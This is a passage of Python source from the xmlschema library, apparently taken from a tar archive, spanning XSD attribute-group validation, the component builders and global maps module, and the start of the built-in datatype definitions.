"invalid base attribute" if self.derivation == 'restriction' and attr.type.name != XSD_ANY_SIMPLE_TYPE and \ not attr.type.is_derived(base_attr.type, 'restriction'): msg = _("Attribute type is not a restriction of the base attribute type") self.parse_error(msg) if base_attr.use != 'optional' and attr.use == 'optional' or \ base_attr.use == 'required' and attr.use != 'required': msg = _("Attribute {!r}: unmatched attribute use in restriction") self.parse_error(msg.format(name)) if base_attr.fixed is not None: if attr.fixed is None or attr.type.normalize(attr.fixed) != \ base_attr.type.normalize(base_attr.fixed): msg = _("Attribute {!r}: derived attribute has a different fixed value") self.parse_error(msg.format(name)) if base_attr.inheritable is not attr.inheritable: msg = _("Attribute {!r}: 'inheritable' property change in restriction") self.parse_error(msg.format(name)) if self.redefine is not None: pass # In case of redefinition do not copy base attributes else: self._attribute_group.update(self.base_attributes.items()) elif self.redefine is not None and not attribute_group_refs: for name, attr in self._attribute_group.items(): if name is None: continue elif name not in attributes: if attr.use == 'required': msg = _("Missing required attribute {!r} in redefinition restriction") self.parse_error(msg.format(name)) continue if attr.use != 'optional' and attributes[name].use != attr.use: msg = _("Attribute {!r}: unmatched attribute use in redefinition") self.parse_error(msg.format(name)) if attr.fixed is not None and attributes[name].fixed is None: msg = _("Attribute {!r}: redefinition remove fixed constraint") self.parse_error(msg.format(name)) pos = 0 keys = list(self._attribute_group.keys()) for name in attributes: try: next_pos = keys.index(name) except ValueError: msg = _("Redefinition restriction contains additional attribute {!r}") self.parse_error(msg.format(name)) else: if next_pos < pos: msg = _("Wrong attribute order in redefinition restriction") self.parse_error(msg) break pos = next_pos self.clear() self._attribute_group.update(attributes) if None in self._attribute_group and None not in attributes \ and self.derivation == 'restriction': wildcard = copy(cast(XsdAnyAttribute, self._attribute_group[None])) wildcard.namespace = set() wildcard.not_namespace = wildcard.not_qname = () self._attribute_group[None] = wildcard if self.xsd_version == '1.0': has_key = False for attr in self._attribute_group.values(): if attr.type is not None and attr.type.is_key(): if has_key: msg = _("multiple ID attributes not allowed for XSD 1.0") self.parse_error(msg) break has_key = True elif self.parent is None and self.schema.default_attributes == self.name: self.schema.default_attributes = self @cached_property def annotation(self) -> Optional['XsdAnnotation']: return super().annotation if self.parent is None else None def parse_error(self, error: Union[str, Exception], elem: Optional[ElementType] = None, validation: Optional[str] = None, namespaces: Optional[NsmapType] = None) -> None: if self.parent is None: super().parse_error(error, elem, validation, namespaces) else: self.parent.parse_error(error, elem, validation, namespaces) def iter_required(self) -> Iterator[str]: for k, v in self._attribute_group.items(): if isinstance(v, XsdAttribute) and k is not None: if v.use == 'required': yield k def iter_value_constraints(self, use_defaults: bool = True) -> Iterator[tuple[str, str]]: if use_defaults: for k, v in self._attribute_group.items(): if v.fixed is not None and k: yield k, v.fixed elif v.default is not None and k: yield k, v.default else: for k, v in self._attribute_group.items(): if v.fixed is not None and k: yield k, v.fixed def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self for attr in self.values(): if attr.parent is not None: yield from attr.iter_components(xsd_classes) def raw_decode(self, obj: MutableMapping[str, str], validation: str, context: DecodeContext) -> AttributeGroupDecodeType: if not obj and not self: return [] for name in filter(lambda x: x not in obj, self.iter_required()): reason = _("missing required attribute {!r}").format(name) context.validation_error(validation, self, reason, obj) additional_attrs = [ (k, v) for k, v in self.iter_value_constraints(context.use_defaults) if k not in obj ] if additional_attrs: obj = {k: v for k, v in obj.items()} obj.update(additional_attrs) id_list = context.id_list if self.xsd_version == '1.0': context.id_list = [] result: AttributeGroupDecodeType value: Any result = None if context.validation_only else [] for name, value in obj.items(): try: xsd_attribute = self._attribute_group[name] except KeyError: if get_namespace(name) == XSI_NAMESPACE: try: xsd_attribute = self.maps.attributes[name] except KeyError: if None in self._attribute_group: xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) else: reason = _("%r is not an attribute of the XSI namespace") % name context.validation_error(validation, self, reason, obj) continue elif None in self._attribute_group: xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) else: reason = _("%r attribute not allowed for element") % name context.validation_error(validation, self, reason, obj) continue else: if xsd_attribute.use == 'prohibited' and \ (None not in self or not self._attribute_group[None].is_matching(name)): reason = _("use of attribute %r is prohibited") % name context.validation_error(validation, self, reason, obj) context.attribute = name item = xsd_attribute.raw_decode(value, validation, context) if result is not None and not isinstance(item, EmptyType): result.append((name, item)) context.attribute = None context.id_list = id_list if result is not None and context.fill_missing: if context.filler is None: result.extend( (k, None) for k in self._attribute_group if k is not None and k not in obj ) else: result.extend( (k, context.filler(v)) for k, v in self._attribute_group.items() if k is not None and k not in obj and isinstance(v, XsdAttribute) ) return result def raw_encode(self, obj: MutableMapping[str, Any], validation: str, context: EncodeContext) -> AttributeGroupEncodeType: if not obj and not self: return [] for name in filter(lambda x: x not in obj, self.iter_required()): reason = _("missing required attribute {!r}").format(name) context.validation_error(validation, self, reason, obj) result: AttributeGroupEncodeType result = None if context.validation_only else [] for name, value in obj.items(): try: xsd_attribute = self._attribute_group[name] except KeyError: namespace = get_namespace(name) or self.target_namespace if namespace == XSI_NAMESPACE: try: xsd_attribute = self.maps.attributes[name] except KeyError: if None in self._attribute_group: xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) else: reason = _("%r is not an attribute of the XSI namespace") % name context.validation_error(validation, self, reason, obj) continue elif None in self._attribute_group: xsd_attribute = self._attribute_group[None] # None == anyAttribute value = (name, value) else: reason = _("%r attribute not allowed for element") % name context.validation_error(validation, self, reason, obj) continue item = xsd_attribute.raw_encode(value, validation, context) if result is not None and item is not None and not isinstance(item, EmptyType): result.append((name, item)) if result is not None: result.extend( (k, v) for k, v in self.iter_value_constraints(context.use_defaults) if k not in obj ) return result ��������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/builders.py����������������������������������������������������0000664�0000000�0000000�00000076772�15020401055�0022024�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import copy from abc import abstractmethod from collections import Counter from collections.abc import Callable, ItemsView, Iterator, Mapping, ValuesView, Iterable from copy import copy as shallow_copy from operator import attrgetter from types import MappingProxyType from typing import Any, cast, NamedTuple, Optional, Union, Type, TypeVar from xml.etree.ElementTree import Element import xmlschema.names as nm from xmlschema.aliases import BaseXsdType, ElementType, LoadedItemType, \ SchemaType, StagedItemType, SchemaGlobalType from xmlschema.exceptions import XMLSchemaAttributeError, XMLSchemaKeyError, \ XMLSchemaTypeError, XMLSchemaValueError from xmlschema.translation import gettext as _ from xmlschema.utils.qnames import local_name, get_qname from .helpers import get_xsd_derivation_attribute from .exceptions import XMLSchemaCircularityError from .xsdbase import XsdComponent, XsdAnnotation from .builtins import BUILTIN_TYPES from .facets import XsdFacet, FACETS_CLASSES from .identities import XsdIdentity, XsdUnique, XsdKey, XsdKeyref, Xsd11Unique, \ Xsd11Key, Xsd11Keyref from .simple_types import XsdSimpleType, XsdAtomicBuiltin, XsdAtomicRestriction, \ Xsd11AtomicRestriction, XsdUnion, Xsd11Union, XsdList from .notations import XsdNotation from .attributes import XsdAttribute, Xsd11Attribute, XsdAttributeGroup from .complex_types import XsdComplexType, Xsd11ComplexType from .wildcards import XsdAnyElement, Xsd11AnyElement, XsdAnyAttribute, Xsd11AnyAttribute from .groups import XsdGroup, Xsd11Group from .elements import XsdElement, Xsd11Element from .assertions import XsdAssert CT = TypeVar('CT', bound=XsdComponent) BuilderType = Callable[[ElementType, SchemaType, Optional[XsdComponent]], CT] # Elements for building dummy groups ATTRIBUTE_GROUP_ELEMENT = Element(nm.XSD_ATTRIBUTE_GROUP) ANY_ATTRIBUTE_ELEMENT = Element( nm.XSD_ANY_ATTRIBUTE, attrib={'namespace': '##any', 'processContents': 'lax'} ) SEQUENCE_ELEMENT = Element(nm.XSD_SEQUENCE) ANY_ELEMENT = Element( nm.XSD_ANY, attrib={ 'namespace': '##any', 'processContents': 'lax', 'minOccurs': '0', 'maxOccurs': 'unbounded' }) GLOBAL_TAGS = frozenset(( nm.XSD_NOTATION, nm.XSD_SIMPLE_TYPE, nm.XSD_COMPLEX_TYPE, nm.XSD_ATTRIBUTE, nm.XSD_ATTRIBUTE_GROUP, nm.XSD_GROUP, nm.XSD_ELEMENT )) GLOBAL_MAP_INDEX = MappingProxyType({ nm.XSD_SIMPLE_TYPE: 0, nm.XSD_COMPLEX_TYPE: 0, nm.XSD_NOTATION: 1, nm.XSD_ATTRIBUTE: 2, nm.XSD_ATTRIBUTE_GROUP: 3, nm.XSD_ELEMENT: 4, nm.XSD_GROUP: 5, }) GLOBAL_MAP_ATTRIBUTE = MappingProxyType({ nm.XSD_SIMPLE_TYPE: attrgetter('types'), nm.XSD_COMPLEX_TYPE: attrgetter('types'), nm.XSD_ATTRIBUTE: attrgetter('attributes'), nm.XSD_ATTRIBUTE_GROUP: attrgetter('attribute_groups'), nm.XSD_NOTATION: attrgetter('notations'), nm.XSD_ELEMENT: attrgetter('elements'), nm.XSD_GROUP: attrgetter('groups'), }) class XsdBuilders: """ A descriptor that is bound to a schema class for providing versioned builders for XSD components. """ components: dict[str, Type[XsdComponent]] facets: dict[str, Type[XsdFacet]] identities: dict[str, Type[XsdIdentity]] simple_types: dict[str, Type[XsdSimpleType]] local_types: dict[str, Union[Type[BaseXsdType], BuilderType[XsdSimpleType]]] builtins: tuple[dict[str, Any], ...] __slots__ = ('_name', '_xsd_version', 'components', 'facets', 'identities', 'simple_types', 'local_types', 'builtins', 'simple_type_class', 'notation_class', 'attribute_group_class', 'complex_type_class', 'attribute_class', 'group_class', 'element_class', 'any_element_class', 'any_attribute_class', 'atomic_restriction_class', 'list_class', 'union_class', 'unique_class', 'key_class', 'keyref_class') def __init__(self, xsd_version: Optional[str] = None, *facets_classes: Type[XsdFacet], **classes: Type[XsdComponent]) -> None: if xsd_version is not None: self._xsd_version = xsd_version self.components = {} self.facets = {} if facets_classes: for cls in facets_classes: self.facets[cls.meta_tag()] = self.components[cls.meta_tag()] = cls for k, v in classes.items(): if k.endswith('_class'): setattr(self, k, v) def __set_name__(self, cls: Type[SchemaType], name: str) -> None: self._name = name self._xsd_version = getattr(cls, 'XSD_VERSION', '1.0') if not self.facets: self.facets.update(FACETS_CLASSES[self._xsd_version]) else: facets = FACETS_CLASSES[self._xsd_version].copy() facets.update(self.facets) self.facets = facets self.builtins = BUILTIN_TYPES[self._xsd_version] self.simple_type_class = XsdSimpleType self.notation_class = XsdNotation self.attribute_group_class = XsdAttributeGroup self.list_class = XsdList if self._xsd_version == '1.0': self.complex_type_class = XsdComplexType self.attribute_class = XsdAttribute self.group_class = XsdGroup self.element_class = XsdElement self.any_element_class = XsdAnyElement self.any_attribute_class = XsdAnyAttribute self.atomic_restriction_class = XsdAtomicRestriction self.union_class = XsdUnion self.unique_class = XsdUnique self.key_class = XsdKey self.keyref_class = XsdKeyref else: self.complex_type_class = Xsd11ComplexType self.attribute_class = Xsd11Attribute self.group_class = Xsd11Group self.element_class = Xsd11Element self.any_element_class = Xsd11AnyElement self.any_attribute_class = Xsd11AnyAttribute self.atomic_restriction_class = Xsd11AtomicRestriction self.union_class = Xsd11Union self.unique_class = Xsd11Unique self.key_class = Xsd11Key self.keyref_class = Xsd11Keyref self.identities = { nm.XSD_UNIQUE: self.unique_class, nm.XSD_KEY: self.key_class, nm.XSD_KEYREF: self.keyref_class, } self.simple_types = { nm.XSD_RESTRICTION: self.atomic_restriction_class, nm.XSD_LIST: self.list_class, nm.XSD_UNION: self.union_class, } self.local_types = { nm.XSD_COMPLEX_TYPE: self.complex_type_class, nm.XSD_SIMPLE_TYPE: self.simple_type_factory, } def __setattr__(self, name: str, value: Any) -> None: if name == '_xsd_version': if value not in ('1.0', '1.1'): raise XMLSchemaValueError(f"wrong or unsupported XSD version {value!r}") elif hasattr(self, '_xsd_version') and self._xsd_version != value: raise XMLSchemaValueError("XSD version mismatch") elif name.endswith('_class'): if not isinstance(value, type) or not issubclass(value, XsdComponent): raise XMLSchemaTypeError(f"{name} must be a subclass of XsdComponent") if hasattr(self, name): return # Skip changing a component class already set at __init__ self.components[value.meta_tag()] = value super().__setattr__(name, value) def __get__(self, instance: Optional[Any], cls: type[Any]) -> 'XsdBuilders': return self def __set__(self, instance: Any, value: Any) -> None: raise XMLSchemaAttributeError(_("Can't set attribute {}").format(self._name)) def __delete__(self, instance: Any) -> None: raise XMLSchemaAttributeError(_("Can't delete attribute {}").format(self._name)) @property def xsd_version(self) -> str: return self._xsd_version def create_any_content_group(self, parent: Union[XsdComplexType, XsdGroup], any_element: Optional[XsdAnyElement] = None) -> XsdGroup: """ Creates a local child model group for a complex type or a group that accepts any content. :param parent: the parent complex type or group for the content group. :param any_element: an optional any element to use for the content group. \ When provided it's copied, linked to the group and the minOccurs/maxOccurs \ are set to 0 and 'unbounded'. """ schema = parent.schema group: XsdGroup = self.group_class(SEQUENCE_ELEMENT, schema, parent) if isinstance(any_element, XsdAnyElement): particle = shallow_copy(any_element) particle.min_occurs = 0 particle.max_occurs = None particle.parent = group group.append(particle) else: group.append(self.any_element_class(ANY_ELEMENT, schema, group)) return group def create_empty_content_group(self, parent: Union[XsdComplexType, XsdGroup], model: str = 'sequence', **attrib: Any) -> XsdGroup: """ Creates an empty local child content group for a complex type or a group. """ if model == 'sequence': group_elem = Element(nm.XSD_SEQUENCE, **attrib) elif model == 'choice': group_elem = Element(nm.XSD_CHOICE, **attrib) elif model == 'all': group_elem = Element(nm.XSD_ALL, **attrib) else: msg = _("'model' argument must be (sequence | choice | all)") raise XMLSchemaValueError(msg) group_elem.text = '\n ' return self.group_class(group_elem, parent.schema, parent) def create_any_attribute_group(self, parent: Union[XsdComplexType, XsdElement]) \ -> XsdAttributeGroup: """ Creates a local child attribute group for a complex type or an element that accepts any attribute. """ attribute_group = self.attribute_group_class( ATTRIBUTE_GROUP_ELEMENT, parent.schema, parent ) attribute_group[None] = self.any_attribute_class( ANY_ATTRIBUTE_ELEMENT, parent.schema, attribute_group ) return attribute_group def create_empty_attribute_group(self, parent: Union[XsdComplexType, XsdElement]) \ -> XsdAttributeGroup: """ Creates an empty local child attribute group for a complex type or an element. """ return self.attribute_group_class(ATTRIBUTE_GROUP_ELEMENT, parent.schema, parent) def create_any_type(self, schema: SchemaType) -> XsdComplexType: """ Creates a xs:anyType equivalent type related with the wildcards connected to global maps of the schema instance in order to do a correct namespace lookup during wildcards validation. """ maps = schema.maps if schema.meta_schema is not None and schema.target_namespace != nm.XSD_NAMESPACE: schema = schema.meta_schema any_type = self.complex_type_class( elem=Element(nm.XSD_COMPLEX_TYPE, name=nm.XSD_ANY_TYPE), schema=schema, parent=None, mixed=True, block='', final='' ) assert isinstance(any_type.content, XsdGroup) any_type.content.append(self.any_element_class( ANY_ELEMENT, schema, any_type.content )) any_type.attributes[None] = self.any_attribute_class( ANY_ATTRIBUTE_ELEMENT, schema, any_type.attributes ) any_type.maps = any_type.content.maps = any_type.content[0].maps = \ any_type.attributes[None].maps = maps return any_type def create_element(self, name: str, schema: SchemaType, parent: Optional[XsdComponent] = None, text: Optional[str] = None, **attrib: Any) -> XsdElement: """ Creates a xs:element instance related to schema component. Used as dummy element for validation/decoding/encoding operations of wildcards and complex types. """ elem = Element(nm.XSD_ELEMENT, name=name, **attrib) if text is not None: elem.text = text return self.element_class(elem, schema, parent) def simple_type_factory(self, elem: Element, schema: SchemaType, parent: Optional[XsdComponent] = None) -> XsdSimpleType: """ Factory function for XSD simple types. Parses the xs:simpleType element and its child component, that can be a restriction, a list or a union. Annotations are linked to simple type instance, omitting the inner annotation if both are given. """ annotation: Optional[XsdAnnotation] = None try: child = elem[0] except IndexError: return cast(XsdSimpleType, schema.maps.types[nm.XSD_ANY_SIMPLE_TYPE]) else: if child.tag == nm.XSD_ANNOTATION: annotation = XsdAnnotation(child, schema, parent) try: child = elem[1] except IndexError: msg = _("(restriction | list | union) expected") schema.parse_error(msg, elem) return cast(XsdSimpleType, schema.maps.types[nm.XSD_ANY_SIMPLE_TYPE]) xsd_type: XsdSimpleType try: xsd_type = self.simple_types[child.tag](child, schema, parent) except KeyError: msg = _("(restriction | list | union) expected") schema.parse_error(msg, elem) return cast(XsdSimpleType, schema.maps.types[nm.XSD_ANY_SIMPLE_TYPE]) if annotation is not None: setattr(xsd_type, 'annotation', annotation) try: xsd_type.name = get_qname(schema.target_namespace, elem.attrib['name']) except KeyError: if parent is None: msg = _("missing attribute 'name' in a global simpleType") schema.parse_error(msg, elem) xsd_type.name = 'nameless_%s' % str(id(xsd_type)) else: if parent is not None: msg = _("attribute 'name' not allowed for a local simpleType") schema.parse_error(msg, elem) xsd_type.name = None if 'final' in elem.attrib: try: xsd_type._final = get_xsd_derivation_attribute(elem, 'final') except ValueError as err: xsd_type.parse_error(err, elem) return xsd_type class StagedMap(Mapping[str, CT]): label = 'component' @abstractmethod def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> CT: """Returns the builder class or method used to build the global map.""" __slots__ = ('_store', '_staging', '_builders') def __init__(self, builders: XsdBuilders): self._store: dict[str, CT] = {} self._staging: dict[str, StagedItemType] = {} self._builders = builders def __getitem__(self, qname: str) -> CT: try: return self._store[qname] except KeyError: if qname in self._staging: return self._build_global(qname) msg = _('global {} {!r} not found').format(self.label, qname) raise XMLSchemaKeyError(msg) from None def __iter__(self) -> Iterator[str]: yield from self._store def __len__(self) -> int: return len(self._store) def __repr__(self) -> str: return repr(self._store) def copy(self) -> 'StagedMap[CT]': obj = object.__new__(self.__class__) obj._builders = self._builders obj._staging = self._staging.copy() obj._store = self._store.copy() return obj __copy__ = copy def clear(self) -> None: self._store.clear() self._staging.clear() def update(self, other: 'StagedMap[CT]') -> None: self._store.update(other._store) @property def total_staged(self) -> int: return len(self._staging) @property def staged(self) -> list[str]: return list(self._staging) @property def staged_items(self) -> ItemsView[str, StagedItemType]: return self._staging.items() @property def staged_values(self) -> ValuesView[StagedItemType]: return self._staging.values() def load(self, qname: str, elem: ElementType, schema: SchemaType) -> None: if qname in self._store: comp = self._store[qname] if comp.schema is schema: msg = _("global xs:{} with name={!r} is already built") elif comp.schema.maps is schema.maps or comp.schema.meta_schema is None: msg = _("global xs:{} with name={!r} is already defined") else: # Allows rebuilding of parent maps components for descendant maps # but not allows substitution of meta-schema components. self._staging[qname] = elem, schema return elif qname in self._staging: obj = self._staging[qname] if len(obj) == 2 and isinstance(obj, tuple): _elem, _schema = obj # type:ignore[misc] if _elem is elem and _schema is schema: return # ignored: it's the same component elif schema is _schema.override: return # ignored: the loaded component is overridden elif schema.override is _schema: # replaced: the loaded component is an override self._staging[qname] = (elem, schema) return elif schema.meta_schema is None and _schema.meta_schema is not None: return # ignore merged meta-schema components elif _schema.meta_schema is None and schema.meta_schema is not None: # Override merged meta-schema component self._staging[qname] = (elem, schema) return msg = _("global xs:{} with name={!r} is already loaded") else: self._staging[qname] = elem, schema return schema.parse_error( error=msg.format(local_name(elem.tag), qname), elem=elem ) def load_redefine(self, qname: str, elem: ElementType, schema: SchemaType) -> None: try: item = self._staging[qname] except KeyError: schema.parse_error(_("not a redefinition!"), elem) else: if isinstance(item, list): item.append((elem, schema)) else: self._staging[qname] = [cast(LoadedItemType, item), (elem, schema)] def load_override(self, qname: str, elem: ElementType, schema: SchemaType) -> None: if qname not in self._staging: # Overrides that match nothing in the target schema are ignored. See the # period starting with "Source declarations not present in the target set" # of the paragraph https://www.w3.org/TR/xmlschema11-1/#override-schema. return self._staging[qname] = elem, schema def build(self) -> None: for name in [x for x in self._staging]: if name in self._staging: self._build_global(name) def _build_global(self, qname: str) -> CT: obj = self._staging[qname] if isinstance(obj, tuple): # Not built XSD global component without redefinitions try: elem, schema = obj # type: ignore[misc] except ValueError: raise XMLSchemaCircularityError(qname, *obj[0]) # Encapsulate into a tuple to catch circular builds self._staging[qname] = cast(LoadedItemType, (obj,)) self._store[qname] = self._factory_or_class(elem, schema) self._staging.pop(qname) return self._store[qname] elif isinstance(obj, list): # Not built XSD global component with redefinitions try: elem, schema = obj[0] except ValueError: if not isinstance(obj, tuple): raise raise XMLSchemaCircularityError(qname, *obj[0][0]) self._staging[qname] = obj[0], # To catch circular builds self._store[qname] = component = self._factory_or_class(elem, schema) self._staging.pop(qname) # Apply redefinitions (changing elem involve reparse of the component) for elem, schema in obj[1:]: if component.schema.target_namespace != schema.target_namespace: msg = _("redefined schema {!r} has a different targetNamespace") raise XMLSchemaValueError(msg.format(schema)) component.redefine = copy.copy(component) component.redefine.parent = component component.schema = schema component.parse(elem) return self._store[qname] else: msg = _("unexpected instance {!r} in XSD {} global map") raise XMLSchemaTypeError(msg.format(obj, self.label)) class TypesMap(StagedMap[BaseXsdType]): def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> BaseXsdType: if elem.tag == nm.XSD_COMPLEX_TYPE: return self._builders.complex_type_class(elem, schema) else: return self._builders.simple_type_factory(elem, schema) def build_builtins(self, schema: SchemaType) -> None: if schema.meta_schema is not None and nm.XSD_ANY_TYPE in self._store: # builtin types already provided, rebuild only xs:anyType for wildcards self._store[nm.XSD_ANY_TYPE] = self._builders.create_any_type(schema) return # # Special builtin types. # # xs:anyType # Ref: https://www.w3.org/TR/xmlschema11-1/#builtin-ctd self._store[nm.XSD_ANY_TYPE] = self._builders.create_any_type(schema) # xs:anySimpleType # Ref: https://www.w3.org/TR/xmlschema11-2/#builtin-stds any_simple_type = self._store[nm.XSD_ANY_SIMPLE_TYPE] = XsdSimpleType( elem=Element(nm.XSD_SIMPLE_TYPE, name=nm.XSD_ANY_SIMPLE_TYPE), schema=schema, parent=None, name=nm.XSD_ANY_SIMPLE_TYPE ) # xs:anyAtomicType # Ref: https://www.w3.org/TR/xmlschema11-2/#builtin-stds self._store[nm.XSD_ANY_ATOMIC_TYPE] = \ self._builders.atomic_restriction_class( elem=Element(nm.XSD_SIMPLE_TYPE, name=nm.XSD_ANY_ATOMIC_TYPE), schema=schema, parent=None, name=nm.XSD_ANY_ATOMIC_TYPE, base_type=any_simple_type, ) for item in self._builders.builtins: item = item.copy() name: str = item['name'] try: value = self._staging.pop(name) except KeyError: # If builtin type element is missing create a dummy element. Necessary for the # meta-schema XMLSchema.xsd of XSD 1.1, that not includes builtins declarations. elem = Element(nm.XSD_SIMPLE_TYPE, name=name, id=name) else: if not isinstance(value, tuple) or len(value) != 2: continue elem, schema = value base_type: Optional[BaseXsdType] if 'base_type' in item: base_type = item['base_type'] = self._store[item['base_type']] else: base_type = None facets = item.pop('facets', None) xsd_type = XsdAtomicBuiltin(elem, schema, **item) if isinstance(facets, Iterable): built_facets = xsd_type.facets for e in facets: try: cls = self._builders.facets[e.tag] except AttributeError: built_facets[None] = e else: built_facets[e.tag] = cls(e, schema, xsd_type, base_type) xsd_type.facets = built_facets self._store[name] = xsd_type class NotationsMap(StagedMap[XsdNotation]): label = 'notation' def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> XsdNotation: return self._builders.notation_class(elem, schema) class AttributesMap(StagedMap[XsdAttribute]): label = 'attribute' def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> XsdAttribute: return self._builders.attribute_class(elem, schema) class AttributeGroupsMap(StagedMap[XsdAttributeGroup]): label = 'attribute group' def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> XsdAttributeGroup: return self._builders.attribute_group_class(elem, schema) class ElementsMap(StagedMap[XsdElement]): label = 'element' def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> XsdElement: return self._builders.element_class(elem, schema) class GroupsMap(StagedMap[XsdGroup]): label = 'model group' def _factory_or_class(self, elem: ElementType, schema: SchemaType) -> XsdGroup: return self._builders.group_class(elem, schema) class GlobalMaps(NamedTuple): types: TypesMap notations: NotationsMap attributes: AttributesMap attribute_groups: AttributeGroupsMap elements: ElementsMap groups: GroupsMap @classmethod def from_builders(cls, builders: XsdBuilders) -> 'GlobalMaps': return cls( TypesMap(builders), NotationsMap(builders), AttributesMap(builders), AttributeGroupsMap(builders), ElementsMap(builders), GroupsMap(builders) ) def clear(self) -> None: for item in self: item.clear() def update(self, other: 'GlobalMaps') -> None: for m1, m2 in zip(self, other): m1.update(m2) # type: ignore[attr-defined] def copy(self) -> 'GlobalMaps': return GlobalMaps(*[m.copy() for m in self]) # type: ignore[arg-type] def iter_globals(self) -> Iterator[SchemaGlobalType]: for item in self: yield from item.values() def iter_staged(self) -> Iterator[StagedItemType]: for item in self: yield from item.staged_values @property def total(self) -> int: """Total number of global components, fully or partially built.""" return sum(len(m) for m in self) @property def total_built(self) -> int: """Total number of fully built global components.""" return sum(1 for c in self.iter_globals() if c.built) @property def total_unbuilt(self) -> int: """Total number of not built or partially built global components.""" return sum(1 for c in self.iter_globals() if not c.built) @property def total_staged(self) -> int: """Total number of staged global components.""" return sum(m.total_staged for m in self) def load(self, schemas: Iterable[SchemaType]) -> None: """Loads global XSD components for the given schemas.""" redefinitions = [] for schema in schemas: if schema.target_namespace: ns_prefix = f'{{{schema.target_namespace}}}' else: ns_prefix = '' for elem in schema.root: if (tag := elem.tag) in (nm.XSD_REDEFINE, nm.XSD_OVERRIDE): location = elem.get('schemaLocation') if location is None: continue for child in elem: try: qname = ns_prefix + child.attrib['name'] except KeyError: continue try: redefinitions.append( (qname, elem, child, schema, schema.includes[location]) ) except KeyError: if schema.partial: redefinitions.append((qname, elem, child, schema, schema)) elif tag in GLOBAL_TAGS: try: qname = ns_prefix + elem.attrib['name'] except KeyError: continue # Invalid global: skip self[GLOBAL_MAP_INDEX[tag]].load(qname, elem, schema) redefined_names = Counter(x[0] for x in redefinitions) for qname, elem, child, schema, redefined_schema in reversed(redefinitions): # Checks multiple redefinitions if redefined_names[qname] > 1: redefined_names[qname] = 1 redefined_schemas: Any redefined_schemas = [x[-1] for x in redefinitions if x[0] == qname] if any(redefined_schemas.count(x) > 1 for x in redefined_schemas): msg = _("multiple redefinition for {} {!r}") schema.parse_error( error=msg.format(local_name(child.tag), qname), elem=child ) else: redefined_schemas = {x[-1]: x[-2] for x in redefinitions if x[0] == qname} for rs, s in redefined_schemas.items(): while True: try: s = redefined_schemas[s] except KeyError: break if s is rs: msg = _("circular redefinition for {} {!r}") schema.parse_error( error=msg.format(local_name(child.tag), qname), elem=child ) break if elem.tag == nm.XSD_REDEFINE: self[GLOBAL_MAP_INDEX[child.tag]].load_redefine(qname, child, schema) else: self[GLOBAL_MAP_INDEX[child.tag]].load_override(qname, child, schema) def build(self, schemas: Iterable[SchemaType]) -> None: """Builds global XSD components for the given schemas.""" self.notations.build() self.attributes.build() self.attribute_groups.build() for schema in schemas: if not isinstance(schema.default_attributes, str): continue try: attributes = schema.maps.attribute_groups[schema.default_attributes] except KeyError: schema.default_attributes = None msg = _("defaultAttributes={0!r} doesn't match any attribute group of {1!r}") schema.parse_error( error=msg.format(schema.root.get('defaultAttributes'), schema), elem=schema.root ) else: schema.default_attributes = attributes self.types.build() self.elements.build() self.groups.build() # Build element declarations inside model groups. for schema in schemas: for group in schema.iter_components(XsdGroup): group.build() # Build identity references and XSD 1.1 assertions for schema in schemas: for obj in schema.iter_components((XsdIdentity, XsdAssert)): obj.build() ������xmlschema-4.1.0/xmlschema/validators/builtins.py����������������������������������������������������0000664�0000000�0000000�00000044535�15020401055�0022034�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains definitions and a factory function for XSD builtin datatypes. Only atomic builtins are created, the list builtins types ('NMTOKENS', 'ENTITIES', 'IDREFS') are created using the XSD 1.0 meta-schema or with and additional base schema for XSD 1.1. """ from decimal import Decimal from elementpath import datatypes from typing import Any from xml.etree.ElementTree import Element import xmlschema.names as nm from .helpers import decimal_validator, qname_validator, byte_validator, \ short_validator, int_validator, long_validator, unsigned_byte_validator, \ unsigned_short_validator, unsigned_int_validator, unsigned_long_validator, \ negative_int_validator, positive_int_validator, non_positive_int_validator, \ non_negative_int_validator, hex_binary_validator, base64_binary_validator, \ error_type_validator, boolean_to_python, python_to_boolean, python_to_float, \ python_to_int # # Admitted facets sets for XSD atomic types STRING_FACETS = { nm.XSD_LENGTH, nm.XSD_MIN_LENGTH, nm.XSD_MAX_LENGTH, nm.XSD_PATTERN, nm.XSD_ENUMERATION, nm.XSD_WHITE_SPACE, nm.XSD_ASSERTION } BOOLEAN_FACETS = {nm.XSD_PATTERN, nm.XSD_WHITE_SPACE, nm.XSD_ASSERTION} FLOAT_FACETS = { nm.XSD_PATTERN, nm.XSD_ENUMERATION, nm.XSD_WHITE_SPACE, nm.XSD_MAX_INCLUSIVE, nm.XSD_MAX_EXCLUSIVE, nm.XSD_MIN_INCLUSIVE, nm.XSD_MIN_EXCLUSIVE, nm.XSD_ASSERTION } DECIMAL_FACETS = { nm.XSD_TOTAL_DIGITS, nm.XSD_FRACTION_DIGITS, nm.XSD_PATTERN, nm.XSD_ENUMERATION, nm.XSD_WHITE_SPACE, nm.XSD_MAX_INCLUSIVE, nm.XSD_MAX_EXCLUSIVE, nm.XSD_MIN_INCLUSIVE, nm.XSD_MIN_EXCLUSIVE, nm.XSD_ASSERTION } DATETIME_FACETS = { nm.XSD_PATTERN, nm.XSD_ENUMERATION, 